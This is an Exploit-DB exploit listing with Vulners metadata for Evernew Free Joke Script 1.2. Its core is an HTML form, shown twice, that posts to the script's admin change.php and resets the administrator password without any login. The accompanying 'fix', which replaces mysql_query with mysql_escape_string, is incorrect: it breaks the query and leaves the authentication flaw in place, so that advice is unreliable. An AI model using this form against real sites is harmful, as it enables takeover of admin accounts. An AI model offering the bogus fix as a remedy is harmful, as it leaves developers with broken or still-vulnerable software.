Search...

Evernew Free Joke Script 1.2 - Remote Change Password Exploit

2009-06-15T00:00:00

ID EDB-ID:8956
Type exploitdb
Reporter Hakxer
Modified 2009-06-15T00:00:00

Description

Evernew Free Joke Script 1.2 Remote Change Password Exploit. Webapps exploit for php platform

                                        
                                            &lt;!--
  Discovered & Exploited by : Hakxer
  Evernew Free Joke Script 1.2 =&gt; Remote Change Password
 
  [=&gt;] Bug detail
  bug in change.php file
  in line 10 :
  $result=mysql_query("update admin set password='$pass'");
 -----------------------
 
  [=&gt;] Fix
  $result=mysql_escape_string("update admin set password='$pass'");
  change mysql_query to mysql_escape_string
 
  [=&gt;] Greetz : ExH , ProViDoR , Error code , dody2100 , sinaritx , all my friends
!--&gt;
&lt;form action="http://www.site.com/script/admin/change.php" method="post" name="form1" id="form1" onSubmit="MM_validateForm('password','','R');return document.MM_returnValue"&gt;
&lt;font class="text"&gt;&lt;b&gt;enter password to change it in admin :D&lt;/b&gt;&lt;/font&gt; &lt;br /&gt;
&lt;br/&gt;
&lt;table width="305" height="106" border="0" cellpadding="5" cellspacing="0"&gt;
&lt;tr&gt;
&lt;td width="103" class="text"&gt;Password : &lt;/td&gt;
&lt;td width="182"&gt;&lt;div align="left"&gt;
&lt;input name="password" type="password" class="style7" id="password" /&gt;
&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan="2"&gt;&lt;div align="center"&gt;
&lt;input name="Submit" type="submit" class="text_1" value="Change Password" /&gt;
&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan="2"&gt;&lt;?php echo($msg); ?&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/form&gt;

# milw0rm.com [2009-06-15]

JSON Vulners Source

Initial Source

{"hash": "7d1dcc2dedd023dd4e67f7051cd9e54caf55a47b2d4bfcf8ab6a71f17173e607", "id": "EDB-ID:8956", "lastseen": "2016-02-01T09:33:11", "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "vulnersScore": 7.5}, "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/8956/", "description": "Evernew Free Joke Script 1.2 Remote Change Password Exploit. Webapps exploit for php platform", "title": "Evernew Free Joke Script 1.2 - Remote Change Password Exploit", "sourceData": "\n<form action=\"http://www.site.com/script/admin/change.php\" method=\"post\" name=\"form1\" id=\"form1\" onSubmit=\"MM_validateForm('password','','R');return document.MM_returnValue\">\n<font class=\"text\"><b>enter password to change it in admin :D</b></font> <br />\n<br/>\n<table width=\"305\" height=\"106\" border=\"0\" cellpadding=\"5\" cellspacing=\"0\">\n<tr>\n<td width=\"103\" class=\"text\">Password : </td>\n<td width=\"182\"><div align=\"left\">\n<input name=\"password\" type=\"password\" class=\"style7\" id=\"password\" />\n</div></td>\n</tr>\n<tr>\n<td colspan=\"2\"><div align=\"center\">\n<input name=\"Submit\" type=\"submit\" class=\"text_1\" value=\"Change Password\" />\n</div></td>\n</tr>\n<tr>\n<td colspan=\"2\"><?php echo($msg); ?> </td>\n</tr>\n</table>\n</form>\n\n# milw0rm.com [2009-06-15]\n", "objectVersion": "1.0", "cvelist": [], "published": "2009-06-15T00:00:00", "osvdbidlist": [], "references": [], "reporter": "Hakxer", "modified": "2009-06-15T00:00:00", "href": "https://www.exploit-db.com/exploits/8956/"}